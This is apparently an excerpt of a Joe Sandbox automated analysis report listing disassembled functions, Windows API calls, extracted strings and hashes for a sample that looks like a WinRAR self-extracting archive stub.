                                                                                                                                                        • Instruction Fuzzy Hash: 1411747652428DFFCF01EF54C942DDD3FA5EF08350B5140A9BA099B222DA72EA50DBA0
                                                                                                                                                        Function 00DB9AB1 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 303COMMONLIBRARYCODE
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: CallFramesMatchNestedTypeUnexpectedUnwind_aborttype_info::operator==
                                                                                                                                                        • String ID: csm$csm$csm
                                                                                                                                                        • API String ID: 322700389-393685449
                                                                                                                                                        • Opcode ID: 9ff14cb3b8c9a00637eeec1fa48afe42437dcb0d2458518ac7ff58156f1e1ef2
                                                                                                                                                        • Instruction ID: 8404fc9ff1d1ea11f87d6621649f8956628f3f946c100104d604ea08272528d1
                                                                                                                                                        • Opcode Fuzzy Hash: 9ff14cb3b8c9a00637eeec1fa48afe42437dcb0d2458518ac7ff58156f1e1ef2
                                                                                                                                                        • Instruction Fuzzy Hash: 37B16875800289EFCF14DFA9D9A19EEFBB5EF04310F18405AEA066B212D730DA51CBB1
                                                                                                                                                        Function 00D9D990 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 268fileCOMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • __EH_prolog3_GS.LIBCMT ref: 00D9D99A
                                                                                                                                                        • GetLongPathNameW.KERNEL32(?,00000000,00000000), ref: 00D9D9BF
                                                                                                                                                        • GetLongPathNameW.KERNEL32(?,?,?), ref: 00D9DA11
                                                                                                                                                        • GetShortPathNameW.KERNEL32(?,00000000,00000000), ref: 00D9DA34
                                                                                                                                                        • GetShortPathNameW.KERNEL32(?,?,?), ref: 00D9DA84
                                                                                                                                                        • MoveFileW.KERNEL32(-00000040,-00000028), ref: 00D9DC9F
                                                                                                                                                        • MoveFileW.KERNEL32(-00000028,-00000040), ref: 00D9DCEC
                                                                                                                                                          • Part of subcall function 00D914A7: _wcslen.LIBCMT ref: 00D914B8
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: NamePath$FileLongMoveShort$H_prolog3__wcslen
                                                                                                                                                        • String ID: rtmp
                                                                                                                                                        • API String ID: 2388273531-870060881
                                                                                                                                                        • Opcode ID: 4c658cc5f4e664f41f13dc20caedd19283675b1d499edd24d77a2d9d783ac48b
                                                                                                                                                        • Instruction ID: f0511a762ff3a6ab0b6d9c4385e5abc59a91453e9f8850721acb2a3a0b1f7132
                                                                                                                                                        • Opcode Fuzzy Hash: 4c658cc5f4e664f41f13dc20caedd19283675b1d499edd24d77a2d9d783ac48b
                                                                                                                                                        • Instruction Fuzzy Hash: 4BB10570901259DACF21EFA8CC85BDDBBBAAF19305F444099E049A7251DB309F89CF70
                                                                                                                                                        Function 00DA1E54 Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 215COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: H_prolog3__wcslen
                                                                                                                                                        • String ID: .rar$exe$rar$sfx
                                                                                                                                                        • API String ID: 3251556500-630704357
                                                                                                                                                        • Opcode ID: bb010a59230901ed6946bebe37461c4420cd42145b15d2859ab40dcba70a3621
                                                                                                                                                        • Instruction ID: d43a4ccb3215c63a45d29317c97e51975cbd99f03d7197e407c69aa0d5a09163
                                                                                                                                                        • Opcode Fuzzy Hash: bb010a59230901ed6946bebe37461c4420cd42145b15d2859ab40dcba70a3621
                                                                                                                                                        • Instruction Fuzzy Hash: F771BD39A007149FCB21DFA9C981ABEB7F4EF4AB10F24051EF4819B291DB719A46C774
                                                                                                                                                        Function 00DB53D0 Relevance: 13.7, APIs: 9, Instructions: 154memoryCOMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • MultiByteToWideChar.KERNEL32(00000000,00000000,00DA04AB,00DA04AD,00000000,00000000,D8943D1D,00000001,00000000,00000000,?,00DA038C,?,00000004,00DA04AB,ROOT\CIMV2), ref: 00DB5459
                                                                                                                                                        • MultiByteToWideChar.KERNEL32(00000000,00000000,00DA04AB,?,00000000,00000000,?,?,00DA038C,?,00000004,00DA04AB), ref: 00DB54D4
                                                                                                                                                        • SysAllocString.OLEAUT32(00000000), ref: 00DB54DF
                                                                                                                                                        • _com_issue_error.COMSUPP ref: 00DB5508
                                                                                                                                                        • _com_issue_error.COMSUPP ref: 00DB5512
                                                                                                                                                        • GetLastError.KERNEL32(80070057,D8943D1D,00000001,00000000,00000000,?,00DA038C,?,00000004,00DA04AB,ROOT\CIMV2), ref: 00DB5517
                                                                                                                                                        • _com_issue_error.COMSUPP ref: 00DB552A
                                                                                                                                                        • GetLastError.KERNEL32(00000000,?,00DA038C,?,00000004,00DA04AB,ROOT\CIMV2), ref: 00DB5540
                                                                                                                                                        • _com_issue_error.COMSUPP ref: 00DB5553
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: _com_issue_error$ByteCharErrorLastMultiWide$AllocString
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 1353541977-0
                                                                                                                                                        • Opcode ID: ba5b85f074b2e354a64a4e9d9a053dcda297f2d84b75b4f9ceefaf246e7e8790
                                                                                                                                                        • Instruction ID: 7c3fc48ede9f44a840b7d77c3a519f485ce98539440ef44b95199989c8ff376d
                                                                                                                                                        • Opcode Fuzzy Hash: ba5b85f074b2e354a64a4e9d9a053dcda297f2d84b75b4f9ceefaf246e7e8790
                                                                                                                                                        • Instruction Fuzzy Hash: 4C41D4B1A00705EBCB109F68E845BEEBBE9EB48711F244229F50AD7384DB75D9408BB4
                                                                                                                                                        Function 00DA0469 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 197COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • __EH_prolog3.LIBCMT ref: 00DA0470
                                                                                                                                                          • Part of subcall function 00DA0360: __EH_prolog3.LIBCMT ref: 00DA0367
                                                                                                                                                        • VariantClear.OLEAUT32(?), ref: 00DA05FA
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: H_prolog3$ClearVariant
                                                                                                                                                        • String ID: Name$ROOT\CIMV2$SELECT * FROM Win32_OperatingSystem$WQL$Windows 10
                                                                                                                                                        • API String ID: 4196654922-3505469590
                                                                                                                                                        • Opcode ID: 8a1fd56c3c59bb1d86bca42e41f5b65ce97d10251df91c394f9ef2554977ef74
                                                                                                                                                        • Instruction ID: 5aa2ff59c110d69767938da1660a2651a86bf2baa8e375a0d08f09b30273a5b9
                                                                                                                                                        • Opcode Fuzzy Hash: 8a1fd56c3c59bb1d86bca42e41f5b65ce97d10251df91c394f9ef2554977ef74
                                                                                                                                                        • Instruction Fuzzy Hash: E8611771A1021AAFDB14DFA4CC95EAEBBB9FF49714B14055CE616E7290CB70AD02CB70
                                                                                                                                                        Function 00DAE07E Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 174COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: H_prolog3_wcslen
                                                                                                                                                        • String ID: $</p>$</style>$<br>$<style>
                                                                                                                                                        • API String ID: 3746244732-3393513139
                                                                                                                                                        • Opcode ID: 9362ec37c6d9f2e78b87d8fa1d050e75e9dca27866e92a90b5ae184dfca3af6d
                                                                                                                                                        • Instruction ID: 2000ce2c584cb063936591a3dfd5968c51bc270427079f27b0331d611d1927ee
                                                                                                                                                        • Opcode Fuzzy Hash: 9362ec37c6d9f2e78b87d8fa1d050e75e9dca27866e92a90b5ae184dfca3af6d
                                                                                                                                                        • Instruction Fuzzy Hash: 2D51F475B4032396DB349A28886177673A6EF66741F5C0019F9C1AB2C0EB759D81C3B4
                                                                                                                                                        Function 00DB06D0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 95windowCOMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                          • Part of subcall function 00D91E44: GetDlgItem.USER32(00000000,00003021), ref: 00D91E88
                                                                                                                                                          • Part of subcall function 00D91E44: SetWindowTextW.USER32(00000000,00DCC6C8), ref: 00D91E9E
                                                                                                                                                        • EndDialog.USER32(?,00000001), ref: 00DB0720
                                                                                                                                                        • SendMessageW.USER32(?,00000080,00000001,000103D7), ref: 00DB0747
                                                                                                                                                        • SendDlgItemMessageW.USER32(?,00000066,00000172,00000000,03050D70), ref: 00DB0760
                                                                                                                                                        • GetDlgItem.USER32(?,00000065), ref: 00DB077C
                                                                                                                                                        • SendMessageW.USER32(00000000,00000435,00000000,00010000), ref: 00DB0790
                                                                                                                                                        • SendMessageW.USER32(00000000,00000443,00000000,00000000), ref: 00DB07A6
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: MessageSend$Item$DialogTextWindow
                                                                                                                                                        • String ID: LICENSEDLG
                                                                                                                                                        • API String ID: 3077722735-2177901306
                                                                                                                                                        • Opcode ID: 2c8031c346c9dc425a9e4eea7089792d5e61b2d57a1cb2c37cf6e0639b653b26
                                                                                                                                                        • Instruction ID: 2ad977fd8398e959e046aa989ba2ae266fb63ac9b0315c98934bbf104dcdf052
                                                                                                                                                        • Opcode Fuzzy Hash: 2c8031c346c9dc425a9e4eea7089792d5e61b2d57a1cb2c37cf6e0639b653b26
                                                                                                                                                        • Instruction Fuzzy Hash: 2721B031249344FBE2116F25AD8DFEBBF6DEB46785F040115F602EA290CA62AA01CB71
                                                                                                                                                        Function 00DA7818 Relevance: 12.1, APIs: 8, Instructions: 131timeCOMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • __aulldiv.LIBCMT ref: 00DA783D
                                                                                                                                                          • Part of subcall function 00DA067E: GetVersionExW.KERNEL32(?), ref: 00DA06AF
                                                                                                                                                        • FileTimeToLocalFileTime.KERNEL32(000000FF,?,?,000000FF,00000064,00000000,?,00000000), ref: 00DA7860
                                                                                                                                                        • FileTimeToSystemTime.KERNEL32(000000FF,?,?,000000FF,00000064,00000000,?,00000000), ref: 00DA7872
                                                                                                                                                        • SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?), ref: 00DA7883
                                                                                                                                                        • SystemTimeToFileTime.KERNEL32(?,?), ref: 00DA7893
                                                                                                                                                        • SystemTimeToFileTime.KERNEL32(?,?), ref: 00DA78A3
                                                                                                                                                        • FileTimeToSystemTime.KERNEL32(?,?,?), ref: 00DA78DE
                                                                                                                                                        • __aullrem.LIBCMT ref: 00DA7984
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: Time$File$System$Local$SpecificVersion__aulldiv__aullrem
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 1247370737-0
                                                                                                                                                        • Opcode ID: 484a02d1dc59471595ca4c8d9e8563e25ddc4b00f47368e1f8471185a9dc7a26
                                                                                                                                                        • Instruction ID: adab9a7c7a57c8b701608ada12c367dda506b69c36bdf717a4577ce74102f4f3
                                                                                                                                                        • Opcode Fuzzy Hash: 484a02d1dc59471595ca4c8d9e8563e25ddc4b00f47368e1f8471185a9dc7a26
                                                                                                                                                        • Instruction Fuzzy Hash: 7C510AB15083069FD710DF65C88496BF7E9FB88714F44892EF59AC2211E734E549CB62
                                                                                                                                                        Function 00DA0E49 Relevance: 10.7, APIs: 7, Instructions: 197COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • __EH_prolog3_GS.LIBCMT ref: 00DA0E50
                                                                                                                                                        • GetFullPathNameW.KERNEL32(?,00000000,00000000,00000000,?,?,?,?,?,00000030), ref: 00DA0E85
                                                                                                                                                        • GetFullPathNameW.KERNEL32(?,?,?,00000000,00000000,?,?,?,?,?,00000030), ref: 00DA0EC4
                                                                                                                                                        • _wcslen.LIBCMT ref: 00DA0ED4
                                                                                                                                                        • GetFullPathNameW.KERNEL32(?,00000000,00000000,00000000,?,?,?,?,?,?,?,00000030), ref: 00DA0F51
                                                                                                                                                        • GetFullPathNameW.KERNEL32(?,?,?,00000000,00000000,?,?,?,?,?,00000030), ref: 00DA0F93
                                                                                                                                                        • _wcslen.LIBCMT ref: 00DA0FA3
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: FullNamePath$_wcslen$H_prolog3_
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 840513527-0
                                                                                                                                                        • Opcode ID: 6abc2e1951caa41656c5b297caae55d48f693724b35309852db8d07c0fab01bf
                                                                                                                                                        • Instruction ID: ab5efad476294a5b3052cf7253944793d0c6eb819e7e0bdc44a9882ccaf0bdee
                                                                                                                                                        • Opcode Fuzzy Hash: 6abc2e1951caa41656c5b297caae55d48f693724b35309852db8d07c0fab01bf
                                                                                                                                                        • Instruction Fuzzy Hash: BC617975D00209ABCF14DFA8D885EEEBBBAEF8A710F18410AF410E7280DB349944CB74
                                                                                                                                                        Function 00DC6239 Relevance: 10.7, APIs: 7, Instructions: 152fileCOMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • GetConsoleCP.KERNEL32(?,00000000,?,?,?,?,?,?,?,00DC69AE,?,00000000,?,00000000,00000000), ref: 00DC627B
                                                                                                                                                        • __fassign.LIBCMT ref: 00DC62F6
                                                                                                                                                        • __fassign.LIBCMT ref: 00DC6311
                                                                                                                                                        • WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000001,?,00000005,00000000,00000000), ref: 00DC6337
                                                                                                                                                        • WriteFile.KERNEL32(?,?,00000000,00DC69AE,00000000,?,?,?,?,?,?,?,?,?,00DC69AE,?), ref: 00DC6356
                                                                                                                                                        • WriteFile.KERNEL32(?,?,00000001,00DC69AE,00000000,?,?,?,?,?,?,?,?,?,00DC69AE,?), ref: 00DC638F
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: FileWrite__fassign$ByteCharConsoleMultiWide
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 1324828854-0
                                                                                                                                                        • Opcode ID: 2a622c2d3ba64e5be1e96689303a9bbeb29f519740bc3795fdcd05e42a9fcf90
                                                                                                                                                        • Instruction ID: ce6d64cfd62edacc3e0d68f698006a4f55d03fc3d3d36ec4e8a9cdb70056d9b5
                                                                                                                                                        • Opcode Fuzzy Hash: 2a622c2d3ba64e5be1e96689303a9bbeb29f519740bc3795fdcd05e42a9fcf90
                                                                                                                                                        • Instruction Fuzzy Hash: BC516071A1024A9FDB10CFA8D885FEEBBF8EB49310F18411EE556E7291E671E941CB70
                                                                                                                                                        Function 00DB93C0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 122COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • _ValidateLocalCookies.LIBCMT ref: 00DB93F7
                                                                                                                                                        • ___except_validate_context_record.LIBVCRUNTIME ref: 00DB93FF
                                                                                                                                                        • _ValidateLocalCookies.LIBCMT ref: 00DB9488
                                                                                                                                                        • __IsNonwritableInCurrentImage.LIBCMT ref: 00DB94B3
                                                                                                                                                        • _ValidateLocalCookies.LIBCMT ref: 00DB9508
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
                                                                                                                                                        • String ID: csm
                                                                                                                                                        • API String ID: 1170836740-1018135373
                                                                                                                                                        • Opcode ID: e3987387f12a9d78d267496b779d709bd3d3c10dd09ea97cf1822bf54c276059
                                                                                                                                                        • Instruction ID: 46b1f3cac9c1d099720c2419b4d39a6a00edee21904414f124f6fd6ee9bc70fb
                                                                                                                                                        • Opcode Fuzzy Hash: e3987387f12a9d78d267496b779d709bd3d3c10dd09ea97cf1822bf54c276059
                                                                                                                                                        • Instruction Fuzzy Hash: 40418034A00249EFCF10DF68C895ADEBBB5EF45324F188155E9169B392D731AA06CBB1
                                                                                                                                                        Function 00DAE265 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 115COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • __EH_prolog3_GS.LIBCMT ref: 00DAE26C
                                                                                                                                                        • ShowWindow.USER32(?,00000000,00000038), ref: 00DAE294
                                                                                                                                                        • GetWindowRect.USER32(?,?), ref: 00DAE2D8
                                                                                                                                                        • ShowWindow.USER32(?,00000005,?,00000000), ref: 00DAE373
                                                                                                                                                        • ShowWindow.USER32(00000000,00000005), ref: 00DAE394
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: Window$Show$H_prolog3_Rect
                                                                                                                                                        • String ID: RarHtmlClassName
                                                                                                                                                        • API String ID: 950582801-1658105358
                                                                                                                                                        • Opcode ID: ed9a62d03ce15c3949991f657455774df5c313644be48d2eaa5ab693904d5cbe
                                                                                                                                                        • Instruction ID: 5e029ebcb4e91d49647cf776a61b04469de5fed574bc07d2912f1ea1f64de5ec
                                                                                                                                                        • Opcode Fuzzy Hash: ed9a62d03ce15c3949991f657455774df5c313644be48d2eaa5ab693904d5cbe
                                                                                                                                                        • Instruction Fuzzy Hash: 58412371900304EFDF11AFA4DC89AAE7BB9EF49701F18419AF905EB265DB309941CB70
                                                                                                                                                        Function 00DC3554 Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                          • Part of subcall function 00DC3518: _free.LIBCMT ref: 00DC3541
                                                                                                                                                        • _free.LIBCMT ref: 00DC35A2
                                                                                                                                                          • Part of subcall function 00DC03D4: RtlFreeHeap.NTDLL(00000000,00000000,?,00DC3546,?,00000000,?,00000000,?,00DC356D,?,00000007,?,?,00DC396A,?), ref: 00DC03EA
                                                                                                                                                          • Part of subcall function 00DC03D4: GetLastError.KERNEL32(?,?,00DC3546,?,00000000,?,00000000,?,00DC356D,?,00000007,?,?,00DC396A,?,?), ref: 00DC03FC
                                                                                                                                                        • _free.LIBCMT ref: 00DC35AD
                                                                                                                                                        • _free.LIBCMT ref: 00DC35B8
                                                                                                                                                        • _free.LIBCMT ref: 00DC360C
